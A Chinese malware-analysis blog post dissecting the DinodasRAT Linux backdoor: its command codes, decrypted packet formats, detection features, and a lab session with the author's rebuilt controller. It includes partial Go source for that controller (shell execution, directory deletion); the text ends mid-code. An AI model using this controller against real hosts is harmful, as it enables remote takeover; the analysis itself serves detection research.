文章首发地址:
https://xz.aliyun.com/t/14424
文章首发作者:
T0daySeeker
概述
在上一篇《以中国为目标的DinodasRAT Linux后门剖析及通信解密尝试》文章中,笔者对DinodasRAT Linux后门的功能及通信数据包进行了简单剖析,实现了对DinodasRAT Linux后门心跳数据包的解密尝试。
虽然目前可对DinodasRAT Linux后门的通信数据包进行解密,但笔者认为目前对DinodasRAT Linux后门的了解还不是很充分。
因此,为了能够更进一步的对DinodasRAT Linux后门的攻击活动进行剖析,笔者准备从如下几个角度复现DinodasRAT Linux后门的攻击场景及攻击利用过程中的DinodasRAT Linux后门的通信模型:
-
后门攻击场景复现:基于模拟构建的DinodasRAT Linux后门控制端程序,复现DinodasRAT Linux后门的远控攻击场景; -
关键代码分析:梳理分析DinodasRAT Linux后门通信模型相关的关键代码; -
后门通信模型剖析:梳理DinodasRAT Linux后门各远控指令的通信模型; -
模拟构建DinodasRAT Linux后门控制端:通过模拟构建DinodasRAT Linux后门控制端程序以实现与DinodasRAT Linux后门的交互效果;
后门攻击场景复现
为了能够更好的还原DinodasRAT Linux后门的攻击利用场景,笔者尝试模拟构建了一款DinodasRAT Linux后门控制端程序,目前可有效的与DinodasRAT Linux后门进行交互,相关运行效果如下:
相关通信数据包截图如下:
相关操作流程如下:
-
被控端执行UninstallMm指令(卸载自身)前运行情况
-
被控端执行UninstallMm指令(卸载自身)后运行情况
-
控制端
F:GolandProjectsawesomeProject5>awesomeProject5.exe
Server started. Listening on 0.0.0.0:80
请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>help
********支持功能如下********
DirClass:查看目录
DelDir:删除目录
EnumProcess:查看进程
DealExShell:执行shell命令
UninstallMm:卸载自身
**************************
请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>DealExShell
DealExShell指令-请输入需执行的shell命令:
>ifconfig
*******************DealExShell:ifconfig*******************
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.153.133 netmask 255.255.255.0 broadcast 192.168.153.255
inet6 fe80::51d9:b9bf:4800:15b1 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:7a:63:b6 txqueuelen 1000 (Ethernet)
RX packets 117418 bytes 10766685 (10.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 127228 bytes 56957898 (54.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>DirClass
DirClass指令-请输入需查看的目录路径:
>/tmp/
*******************DirClass:/tmp/*******************
.X0-lock 1 11 2023-07-20 21:07:38 2
.XIM-unix 0 0 2023-07-20 21:07:37 2
systemd-private-07e721d8e32643438b178572cb153efe-colord.service-Oil9iv 0 0 2023-07-20 21:08:35 2
vmware-root_484-868851811 0 0 2023-07-20 21:07:38 2
.font-unix 0 0 2023-07-20 21:07:37 2
.xfsm-ICE-V8T571 1 398 2023-07-20 21:08:33 2
ssh-XXXXXXVA2uMv 0 0 2023-07-20 21:08:33 2
systemd-private-07e721d8e32643438b178572cb153efe-systemd-logind.service-3sTMOv 0 0 2023-07-20 21:07:38 2
systemd-private-07e721d8e32643438b178572cb153efe-haveged.service-hyFQUI 0 0 2023-07-20 21:07:37 2
systemd-private-07e721d8e32643438b178572cb153efe-upower.service-OpfV78 0 0 2023-07-20 21:08:34 2
.X11-unix 0 0 2024-05-06 02:04:10 2
systemd-private-07e721d8e32643438b178572cb153efe-ModemManager.service-r0SmEk 0 0 2023-07-20 21:07:38 2
VMwareDnD 0 0 2024-04-29 21:59:26 2
.ICE-unix 0 0 2023-07-20 21:08:33 2
请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>EnumProcess
*******************EnumProcess:*******************
systemd root 1
kthreadd root 2
rcu_gp root 3
rcu_par_gp root 4
slub_flushwq root 5
netns root 6
kworker/0:0H-events_highpri root 8
mm_percpu_wq root 10
rcu_tasks_kthread root 11
rcu_tasks_rude_kthread root 12
rcu_tasks_trace_kthread root 13
ksoftirqd/0 root 14
rcu_preempt root 15
migration/0 root 16
cpuhp/0 root 18
cpuhp/1 root 19
migration/1 root 20
ksoftirqd/1 root 21
cpuhp/2 root 24
migration/2 root 25
ksoftirqd/2 root 26
kworker/2:0H-events_highpri root 28
cpuhp/3 root 29
migration/3 root 30
ksoftirqd/3 root 31
kworker/3:0H-events_highpri root 33
kdevtmpfs root 38
inet_frag_wq root 39
kauditd root 40
khungtaskd root 42
oom_reaper root 43
writeback root 44
kcompactd0 root 45
ksmd root 46
khugepaged root 47
kintegrityd root 48
kblockd root 49
blkcg_punt_bio root 50
tpm_dev_wq root 51
edac-poller root 52
devfreq_wq root 53
kworker/0:1H-kblockd root 54
kswapd0 root 55
kthrotld root 64
irq/24-pciehp root 66
irq/25-pciehp root 67
irq/26-pciehp root 68
irq/27-pciehp root 69
irq/28-pciehp root 70
irq/29-pciehp root 71
irq/30-pciehp root 72
irq/31-pciehp root 73
irq/32-pciehp root 74
irq/33-pciehp root 75
irq/34-pciehp root 76
irq/35-pciehp root 77
irq/36-pciehp root 78
irq/37-pciehp root 79
irq/38-pciehp root 80
irq/39-pciehp root 81
irq/40-pciehp root 82
irq/41-pciehp root 83
irq/42-pciehp root 84
irq/43-pciehp root 85
irq/44-pciehp root 86
irq/45-pciehp root 87
irq/46-pciehp root 88
irq/47-pciehp root 89
irq/48-pciehp root 90
irq/49-pciehp root 91
irq/50-pciehp root 92
irq/51-pciehp root 93
irq/52-pciehp root 94
irq/53-pciehp root 95
irq/54-pciehp root 96
irq/55-pciehp root 97
acpi_thermal_pm root 98
xenbus_probe root 99
mld root 100
ipv6_addrconf root 101
kstrp root 106
zswap-shrink root 111
kworker/u65:0-hci0 root 112
kworker/1:1H-kblockd root 160
kworker/2:1H-kblockd root 171
kworker/3:1H-kblockd root 172
cryptd root 181
ata_sff root 182
scsi_eh_0 root 183
scsi_tmf_0 root 184
mpt_poll_0 root 185
scsi_eh_1 root 187
mpt/0 root 188
scsi_tmf_1 root 189
irq/16-vmwgfx root 204
card0-crtc0 root 206
card0-crtc1 root 207
card0-crtc2 root 208
card0-crtc3 root 209
card0-crtc4 root 210
card0-crtc5 root 212
card0-crtc6 root 214
card0-crtc7 root 215
scsi_eh_2 root 268
scsi_tmf_2 root 269
kworker/1:2H-kblockd root 278
jbd2/sda1-8 root 309
ext4-rsv-conver root 310
systemd-journal root 364
vmware-vmblock- root 381
systemd-udevd root 390
haveged root 462
vmtoolsd root 484
irq/56-vmw_vmci root 588
irq/57-vmw_vmci root 590
kworker/u65:2-hci0 root 668
dbus-daemon message+ 811
polkitd polkitd 814
systemd-logind root 816
rpciod root 817
xprtiod root 818
NetworkManager root 819
cron root 835
ModemManager root 838
lightdm root 858
Xorg root 872
agetty root 873
rtkit-daemon rtkit 997
lightdm root 1461
systemd /usr/lib/systemd/systemd kali 1467
(sd-pam) kali 1468
pipewire /usr/bin/pipewire kali 1483
wireplumber /usr/bin/wireplumber kali 1484
pipewire-pulse /usr/bin/pipewire kali 1485
dbus-daemon /usr/bin/dbus-daemon kali 1487
gnome-keyring-d /usr/bin/gnome-keyring-daemon kali 1488
xfce4-session /usr/bin/xfce4-session kali 1498
ssh-agent kali 1567
at-spi-bus-laun /usr/libexec/at-spi-bus-launcher kali 1578
dbus-daemon /usr/bin/dbus-daemon kali 1585
at-spi2-registr /usr/libexec/at-spi2-registryd kali 1596
gpg-agent kali 1608
xfwm4 /usr/bin/xfwm4 kali 1610
gvfsd /usr/libexec/gvfsd kali 1614
gvfsd-fuse /usr/libexec/gvfsd-fuse kali 1620
xfsettingsd /usr/bin/xfsettingsd kali 1635
upowerd root 1639
xfce4-panel /usr/bin/xfce4-panel kali 1645
Thunar /usr/bin/thunar kali 1650
xfdesktop /usr/bin/xfdesktop kali 1661
panel-1-whisker /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 kali 1665
panel-13-cpugra /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 kali 1670
xiccd /usr/bin/xiccd kali 1671
panel-14-systra /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 kali 1672
panel-15-genmon /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 kali 1676
xfce4-notifyd /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd kali 1678
panel-16-pulsea /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 kali 1686
colord colord 1698
panel-17-notifi /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 kali 1701
nm-applet /usr/bin/nm-applet kali 1703
xcape /usr/bin/xcape kali 1708
panel-18-power- /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 kali 1711
light-locker /usr/bin/light-locker kali 1716
panel-22-action /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 kali 1722
dconf-service /usr/libexec/dconf-service kali 1725
polkit-gnome-au /usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1 kali 1727
xfce4-power-man /usr/bin/xfce4-power-manager kali 1752
agent /usr/libexec/geoclue-2.0/demos/agent kali 1755
blueman-applet /usr/bin/python3.11 kali 1782
vmtoolsd /usr/bin/vmtoolsd kali 1783
obexd /usr/libexec/bluetooth/obexd kali 2006
gvfs-udisks2-vo /usr/libexec/gvfs-udisks2-volume-monitor kali 2019
udisksd root 2023
gvfs-mtp-volume /usr/libexec/gvfs-mtp-volume-monitor kali 2038
gvfs-afc-volume /usr/libexec/gvfs-afc-volume-monitor kali 2043
gvfs-gphoto2-vo /usr/libexec/gvfs-gphoto2-volume-monitor kali 2049
gvfs-goa-volume /usr/libexec/gvfs-goa-volume-monitor kali 2054
gvfsd-trash /usr/libexec/gvfsd-trash kali 2068
gvfsd-metadata /usr/libexec/gvfsd-metadata kali 2074
qterminal /usr/bin/qterminal kali 2211
zsh /usr/bin/zsh kali 2214
linux_server64 /home/kali/Desktop/linux_server64 kali 6586
zsh /usr/bin/zsh kali 6611
kworker/3:2-mm_percpu_wq root 666030
kworker/2:0-events root 671000
kworker/1:1-mm_percpu_wq root 676828
kworker/0:0-cgroup_destroy root 687692
kworker/u64:0-flush-8:0 root 693826
kworker/2:1-mm_percpu_wq root 696046
kworker/2:2-mpt_poll_0 root 698531
kworker/1:2-ata_sff root 699316
kworker/u64:2-flush-8:0 root 699787
kworker/0:2-events root 699926
kworker/u64:3-events_unbound root 699928
kworker/3:0-cgroup_destroy root 699936
tumblerd /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd kali 700635
kworker/1:0-ata_sff root 702014
test /home/kali/Desktop/test kali 702951
sh /usr/bin/dash kali 702959
test /home/kali/Desktop/test kali 702960
请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>UninstallMm
*******************UninstallMm:*******************
UninstallMm ok
F:GolandProjectsawesomeProject5>
关键代码分析
通信框架
在《以中国为目标的DinodasRAT Linux后门剖析及通信解密尝试》文章的“DinodasRAT通信解密尝试”章节,笔者对DinodasRAT Linux后门的通信加解密原理进行了详细的剖析,因此,这里笔者将不再对DinodasRAT Linux后门中的通信加解密技术进行描述。
为了能够快速了解DinodasRAT Linux后门的通信逻辑,笔者又对DinodasRAT Linux后门的反编译代码进行了详细的分析梳理,发现:
-
DinodasRAT Linux后门运行后,将循环发送心跳通信 -
DinodasRAT Linux后门运行后,将从控制端循环接收控制指令,成功执行远控指令后,将返回执行结果信息
相关代码截图如下:
DinodasRAT Linux后门通信数据接收函数代码截图如下:
DinodasRAT Linux后门通信数据发送函数代码截图如下:
远控功能与远控指令编号的对应关系梳理如下:
远控函数 | 远控功能 | 远控编号 |
---|---|---|
DirClass | 列目录 | 0x02 |
DelDir | 删除目录 | 0x03 |
UpLoadFile | 上传文件 | 0x05 |
StopDownLoadFile | 停止上传文件 | 0x06 |
DownLoadFile | 下载文件 | 0x08 |
StopDownFile | 停止下载文件 | 0x09 |
DealChgIp | 修改C&C地址 | 0x0E |
CheckUserLogin | 检查已登录的用户 | 0x0F |
EnumProcess | 枚举进程列表 | 0x11 |
StopProcess | 终止进程 | 0x12 |
EnumService | 枚举服务 | 0x13 |
ControlService | 控制服务 | 0x14 |
DealExShell | 执行shell | 0x18 |
DealProxy | 执行指定文件 | 0x1A |
StartShell | 开启shell | 0x1B |
ReRestartShell | 重启shell | 0x1C |
StopShell | 停止当前shell的执行 | 0x1D |
WriteShell | 将命令写入当前shell | 0x1E |
DealFile | 下载并更新后门版本 | 0x27 |
DealLocalProxy | 发送“ok” | 0x28 |
ConnectCtl | 控制连接类型 | 0x2B |
ProxyCtl | 控制代理类型 | 0x2C |
Trans_mode | 设置或获取文件传输模式(TCP/UDP) | 0x2D |
UninstallMm | 卸载自身 | 0x2E |
DirClass
通过分析,发现当接收到DirClass远控指令后,样本将返回指定目录的目录信息,返回数据中的远控指令为0x2。
相关代码截图如下:
DelDir
通过分析,发现当接收到DelDir远控指令后,样本将删除指定目录并向控制端返回数据,返回数据中的远控指令为0x4。
相关代码截图如下:
EnumProcess
通过分析,发现当接收到EnumProcess远控指令后,样本将向控制端返回当前进程列表信息,返回数据中的远控指令为0x11。
相关代码截图如下:
DealExShell
通过分析,发现当接收到DealExShell远控指令后,样本将向控制端返回shell命令执行结果,返回数据中的远控指令为0x18。
相关代码截图如下:
UninstallMm
通过分析,发现当接收到UninstallMm远控指令后,样本将向控制端返回数据并卸载自身,返回数据中的远控指令为0x2E。
相关代码截图如下:
后门通信模型剖析
通信模型剖析
梳理DinodasRAT Linux后门通信模型如下:
-
发送数据-通信数据结构
#原始数据
20000000e703881435b674f7de23a2f80fe35ac0ba1a46c7d96e08a8747889eacf6b1950
#载荷数据
e703881435b674f7de23a2f80fe35ac0ba1a46c7d96e08a8747889eacf6b1950
#数据解密
1800000000080000006966636f6e666967
#数据解析
1800000000 #DealExShell功能对应的远控指令
08000000 #载荷长度
6966636f6e666967 #字符串:ifconfig
-
接收数据-通信数据结构
#原始数据
30d00300009fd628ad6b4807862e7a90d3e8b0a5d2acfe380effd0635de272ba038f1d564aa5967dbba8bb47ee236c5c6aaeb9f4efa90b3f6b9d117e85836451aac71fa557026eb1c35802aa5c0e2e4c7eb910978662bee1fdd45fc10451b9c37d44850224eb7c23e7b8ada1594503440f39f691bb475ffd8dfa3c3d8ca08ef81fdb7ee6b083e5c86302d531b857e4c3500a2273cb6559773ee8642b7162d2ded5f785a0bc3c0f5a0f9ce39d6e09cf0d4211d9fe2011e6471c38baf2ce60a9869a07cc9154bf71f71bdd1d33385d8d67f8dffcfe079f161e869bacc1fc2d861be882d2fbca24ac8426bfb8a86f1909a726c9c4b8950ebfe25c17be402b2a8662e651ffa3b05d5d697de194f0f7611c7ad19a6e809a87218929f912dcf3c9b9c751d8120bdc50fe0a1694aba0e67a4d4842df2a0c7d6ff3c584358804e1a9db3485ed2ca8e96eb00117a25e12a3061a0b8d235f6010119a004c0d1c037ac7a4eb432410c3e061698f4542184b224fb6cd4efd0ffd006d54eeb23e99d12e55fa0537e664283c8a7a0bd5493ba509c7ecd63cf23aaa68499eddacb1fd1fe01ef7ab06a54940b1f31c57b0b982ed491835a06bf0accb8b1ff07e348af1a9de0d3b2ac1ffd835b7edf9b071a0a4e0bbdad7ee7469863ec1c4cee0c3ae50e6d53a1704a2f642251d29eb60c4d5b488803eb63ac6b6c14da408be9e6eb84f0648049a51906103e232e307fd7b25e121e3d5bfb3c68cc5a40b9fae85058aedf3e00f37bfc1ed10034dc84cd196ed09386aa7cb68babcaf3b1916501d5bbc6c1e6922971f4a29afb6c8aa45c3a1361ca7e4b8e396bb373b4f9868f893bd01106492c25d0e1655dc57819d071670a4ee9cec179c97b516f3ec412fa1bc98d3093cdf1cb966be07b76d4dd55f351ee88f8d7e0f9b4be11180cb8bd4323d4005b86f63658f19266fc43428b52551095815277d136d9bd1a656bf9a10bfd9f934cfe8920223ac0f57e2991ec072ea76b3080dcbaa3f7845617709872c7236668387d500ced91f81d8d3cbc2b20fdc27ea6775021e7382236d7395c687114a093cead0173fcf092cec821bf8b9e7a0caf82a0bc0eb76950fab63c18c9dc2cecb445d57483ecc5e512ed1da6dc0ea540d8ced99ef00bdeb8cdd0be855fda439f90e23f2ab3b0cf06662714f32ed761a50a292a94b45e0f287783f699c88f24584bb0dca3abb7e4f9d9e91e6b22aa652cdccc7a9789f40afafa4bafa44967b06064804add6ab7652434d9b1c7549063bd09cf48c18061ef3e6b3d3c05b4bc5ca4da74bfadae78e4efd837b82556e792af3e9d7183525326c349953ab95585c66bf1e1074559f9c939ff33217dd350069bdf87606a10fb4046d6d95db34
#载荷数据
9fd628ad6b4807862e7a90d3e8b0a5d2acfe380effd0635de272ba038f1d564aa5967dbba8bb47ee236c5c6aaeb9f4efa90b3f6b9d117e85836451aac71fa557026eb1c35802aa5c0e2e4c7eb910978662bee1fdd45fc10451b9c37d44850224eb7c23e7b8ada1594503440f39f691bb475ffd8dfa3c3d8ca08ef81fdb7ee6b083e5c86302d531b857e4c3500a2273cb6559773ee8642b7162d2ded5f785a0bc3c0f5a0f9ce39d6e09cf0d4211d9fe2011e6471c38baf2ce60a9869a07cc9154bf71f71bdd1d33385d8d67f8dffcfe079f161e869bacc1fc2d861be882d2fbca24ac8426bfb8a86f1909a726c9c4b8950ebfe25c17be402b2a8662e651ffa3b05d5d697de194f0f7611c7ad19a6e809a87218929f912dcf3c9b9c751d8120bdc50fe0a1694aba0e67a4d4842df2a0c7d6ff3c584358804e1a9db3485ed2ca8e96eb00117a25e12a3061a0b8d235f6010119a004c0d1c037ac7a4eb432410c3e061698f4542184b224fb6cd4efd0ffd006d54eeb23e99d12e55fa0537e664283c8a7a0bd5493ba509c7ecd63cf23aaa68499eddacb1fd1fe01ef7ab06a54940b1f31c57b0b982ed491835a06bf0accb8b1ff07e348af1a9de0d3b2ac1ffd835b7edf9b071a0a4e0bbdad7ee7469863ec1c4cee0c3ae50e6d53a1704a2f642251d29eb60c4d5b488803eb63ac6b6c14da408be9e6eb84f0648049a51906103e232e307fd7b25e121e3d5bfb3c68cc5a40b9fae85058aedf3e00f37bfc1ed10034dc84cd196ed09386aa7cb68babcaf3b1916501d5bbc6c1e6922971f4a29afb6c8aa45c3a1361ca7e4b8e396bb373b4f9868f893bd01106492c25d0e1655dc57819d071670a4ee9cec179c97b516f3ec412fa1bc98d3093cdf1cb966be07b76d4dd55f351ee88f8d7e0f9b4be11180cb8bd4323d4005b86f63658f19266fc43428b52551095815277d136d9bd1a656bf9a10bfd9f934cfe8920223ac0f57e2991ec072ea76b3080dcbaa3f7845617709872c7236668387d500ced91f81d8d3cbc2b20fdc27ea6775021e7382236d7395c687114a093cead0173fcf092cec821bf8b9e7a0caf82a0bc0eb76950fab63c18c9dc2cecb445d57483ecc5e512ed1da6dc0ea540d8ced99ef00bdeb8cdd0be855fda439f90e23f2ab3b0cf06662714f32ed761a50a292a94b45e0f287783f699c88f24584bb0dca3abb7e4f9d9e91e6b22aa652cdccc7a9789f40afafa4bafa44967b06064804add6ab7652434d9b1c7549063bd09cf48c18061ef3e6b3d3c05b4bc5ca4da74bfadae78e4efd837b82556e792af3e9d7183525326c349953ab95585c66bf1e1074559f9c939ff33217dd350069bdf87606a10fb4046d6d95db34
#数据解密
57ffffffffffffff4aec1800000000370000007b0300004c696e75785f32303234303530355f30346662373038313830326634326638336134323434383732343063623237375f343533325f5637657468303a20666c6167733d343136333c55502c42524f4144434153542c52554e4e494e472c4d554c5449434153543e20206d747520313530300a2020202020202020696e6574203139322e3136382e3135332e31333320206e65746d61736b203235352e3235352e3235352e30202062726f616463617374203139322e3136382e3135332e3235350a2020202020202020696e65743620666538303a3a353164393a623962663a343830303a3135623120207072656669786c656e203634202073636f7065696420307832303c6c696e6b3e0a202020202020202065746865722030303a30633a32393a37613a36333a62362020747871756575656c656e203130303020202845746865726e6574290a20202020202020205258207061636b6574732031313732333320206279746573203130373531353733202831302e32204d6942290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732031323730303120206279746573203536393331343134202835342e32204d6942290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a6c6f3a20666c6167733d37333c55502c4c4f4f504241434b2c52554e4e494e473e20206d74752036353533360a2020202020202020696e6574203132372e302e302e3120206e65746d61736b203235352e302e302e300a2020202020202020696e657436203a3a3120207072656669786c656e20313238202073636f7065696420307831303c686f73743e0a20202020202020206c6f6f702020747871756575656c656e20313030302020284c6f63616c204c6f6f706261636b290a20202020202020205258207061636b6574732034202062797465732032343020283234302e302042290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732034202062797465732032343020283234302e302042290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a00000000000000
#数据解析
57 #用于计算随机字节长度,2 + 0x57&0x7 = 9
ffffffffffffff4aec #padding,9个随机字节数据
1800000000 #DealExShell功能对应的远控指令
37000000 #第一段载荷数据长度,固定不变,用于填充被控主机的唯一标识码
7b030000 #第二段载荷数据长度,用于填充远控指令返回信息
4c696e75785f32303234303530355f30346662373038313830326634326638336134323434383732343063623237375f343533325f5637
#字符串:Linux_20240505_04fb7081802f42f83a424487240cb277_4532_V7
657468303a20666c6167733d343136333c55502c42524f4144434153542c52554e4e494e472c4d554c5449434153543e20206d747520313530300a2020202020202020696e6574203139322e3136382e3135332e31333320206e65746d61736b203235352e3235352e3235352e30202062726f616463617374203139322e3136382e3135332e3235350a2020202020202020696e65743620666538303a3a353164393a623962663a343830303a3135623120207072656669786c656e203634202073636f7065696420307832303c6c696e6b3e0a202020202020202065746865722030303a30633a32393a37613a36333a62362020747871756575656c656e203130303020202845746865726e6574290a20202020202020205258207061636b6574732031313732333320206279746573203130373531353733202831302e32204d6942290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732031323730303120206279746573203536393331343134202835342e32204d6942290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a6c6f3a20666c6167733d37333c55502c4c4f4f504241434b2c52554e4e494e473e20206d74752036353533360a2020202020202020696e6574203132372e302e302e3120206e65746d61736b203235352e302e302e300a2020202020202020696e657436203a3a3120207072656669786c656e20313238202073636f7065696420307831303c686f73743e0a20202020202020206c6f6f702020747871756575656c656e20313030302020284c6f63616c204c6f6f706261636b290a20202020202020205258207061636b6574732034202062797465732032343020283234302e302042290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732034202062797465732032343020283234302e302042290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a00000000000000
#字符串:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.153.133 netmask 255.255.255.0 broadcast 192.168.153.255
inet6 fe80::51d9:b9bf:4800:15b1 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:7a:63:b6 txqueuelen 1000 (Ethernet)
RX packets 117233 bytes 10751573 (10.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 127001 bytes 56931414 (54.2 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
-
心跳通信-通信数据结构
#原始数据
3078000000c7c338a7d4639d4beef26f76764f604d2a126b3ae06a8d2da8b0e78a154df6c996f06d0cffbd341be6fa4ce0c72b9c185ea9c2e48ecc4d239c33585a3d598442f069dffa971841eadd5144084626b95de5f3ef937a77bed91e7c6161fb94ea8240ea939d04b0ee32eda9ddd917e9393aaca0c7ecb483d069
#载荷数据
c7c338a7d4639d4beef26f76764f604d2a126b3ae06a8d2da8b0e78a154df6c996f06d0cffbd341be6fa4ce0c72b9c185ea9c2e48ecc4d239c33585a3d598442f069dffa971841eadd5144084626b95de5f3ef937a77bed91e7c6161fb94ea8240ea939d04b0ee32eda9ddd917e9393aaca0c7ecb483d069
#数据解密
e7b3b3b3b3b3b3b34bd4010000000037000000230000004c696e75785f32303234303530355f30346662373038313830326634326638336134323434383732343063623237375f343533325f56374b616c6920474e552f4c696e757820526f6c6c696e672009363409726f6f740932093500000000000000
#数据解析
e7b3b3b3b3b3b3b34bd4 #2 + 0xe7&0x7 = 9个随机字节数据
0100000000 #指令编号
37000000 #第一段载荷数据长度,固定不变,用于填充被控主机的唯一标识码
23000000 #第二段载荷数据长度,用于填充远控指令返回信息
4c696e75785f32303234303530355f30346662373038313830326634326638336134323434383732343063623237375f343533325f5637
#字符串:Linux_20240505_04fb7081802f42f83a424487240cb277_4532_V7
4b616c6920474e552f4c696e757820526f6c6c696e672009363409726f6f7409320935
#字符串:Kali GNU/Linux Rolling 64 root 2 5
00000000000000
通信流量检测方法
结合通信模型提取通信流量检测方法,检测特征如下:
-
第一段数据包即为心跳通信数据包,且后续发送的心跳通信数据包的长度与其相同 -
心跳通信数据包的数据结构为:一字节固定数据0x30 + 4字节后续载荷长度(小端序存储) + 载荷数据 -
远控指令通信数据包的数据结构为:4字节后续载荷长度(小端序存储) + 载荷数据 -
使用内置密钥即可实现对DinodasRAT Linux后门的通信数据解密
模拟构建DinodasRAT Linux后门控制端
在详细梳理了DinodasRAT Linux后门的通信模型后,模拟构建DinodasRAT Linux后门控制端也就相对比较简单,因为其相关远控指令的通信数据模型均相同,因此我们在成功实现一个远控指令功能后,可很快速的对其他远控指令的远控功能进行实现。
「备注:当前模拟构建的DinodasRAT Linux后门控制端暂只支持DirClass、DelDir、EnumProcess、DealExShell、UninstallMm远控指令」
代码实现
-
main.go
package main
import (
"awesomeProject5/common"
"bufio"
"bytes"
"encoding/hex"
"fmt"
"net"
"os"
)
func main() {
client_dinodasrat("0.0.0.0", "80")
}
func client_dinodasrat(address, port string) {
// 创建监听器
listener, err := net.Listen("tcp", address+":"+port)
if err != nil {
fmt.Println("Error listening:", err.Error())
return
}
defer listener.Close()
fmt.Println("Server started. Listening on " + address + ":" + port)
for {
conn, err := listener.Accept()
if err != nil {
fmt.Println("Error accepting connection:", err.Error())
return
}
// 处理服务端连接
go handle_dinodasrat_Connection(conn)
}
}
func handle_dinodasrat_Connection(conn net.Conn) {
defer conn.Close()
encdata := make(chan []byte)
go KeepHeart_Recv(conn, encdata)
for {
text := ""
fmt.Print("请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMmn>")
reader := bufio.NewScanner(os.Stdin)
if reader.Scan() {
text = reader.Text()
if text == "DirClass" {
fmt.Print(text + "指令-请输入需查看的目录路径:n>")
reader2 := bufio.NewScanner(os.Stdin)
if reader2.Scan() {
buf_DirClass := reader2.Text()
sendbuf := []byte{}
sendbuf = append(sendbuf, common.IntToBytes_little(2)...)
sendbuf = append(sendbuf, byte(0))
sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_DirClass))...)
sendbuf = append(sendbuf, []byte(buf_DirClass)...)
common.Sendbuf(conn, sendbuf)
EncData := <-encdata
fmt.Println("*******************DirClass:" + buf_DirClass + "*******************")
fmt.Println(string(EncData))
}
} else if text == "DelDir" {
fmt.Print(text + "指令-请输入需删除的目录路径:n>")
reader2 := bufio.NewScanner(os.Stdin)
if reader2.Scan() {
buf_DelDir := reader2.Text()
sendbuf := []byte{}
sendbuf = append(sendbuf, common.IntToBytes_little(3)...)
sendbuf = append(sendbuf, byte(0))
sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_DelDir))...)
sendbuf = append(sendbuf, []byte(buf_DelDir)...)
common.Sendbuf(conn, sendbuf)
EncData := <-encdata
if bytes.Equal(EncData, []byte{0x31}) {
fmt.Println("*******************DelDir:" + buf_DelDir + "*******************")
fmt.Println("DelDir ok")
}
}
} else if text == "EnumProcess" {
buf_EnumProcess := ""
sendbuf := []byte{}
sendbuf = append(sendbuf, common.IntToBytes_little(0x11)...)
sendbuf = append(sendbuf, byte(0))
sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_EnumProcess))...)
sendbuf = append(sendbuf, []byte(buf_EnumProcess)...)
common.Sendbuf(conn, sendbuf)
EncData := <-encdata
fmt.Println("*******************EnumProcess:" + buf_EnumProcess + "*******************")
fmt.Println(string(EncData))
} else if text == "DealExShell" {
fmt.Print(text + "指令-请输入需执行的shell命令:n>")
reader2 := bufio.NewScanner(os.Stdin)
if reader2.Scan() {
buf_DealExShell := reader2.Text()
sendbuf := []byte{}
sendbuf = append(sendbuf, common.IntToBytes_little(0x18)...)
sendbuf = append(sendbuf, byte(0))
sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_DealExShell))...)
sendbuf = append(sendbuf, []byte(buf_DealExShell)...)
common.Sendbuf(conn, sendbuf)
EncData := <-encdata
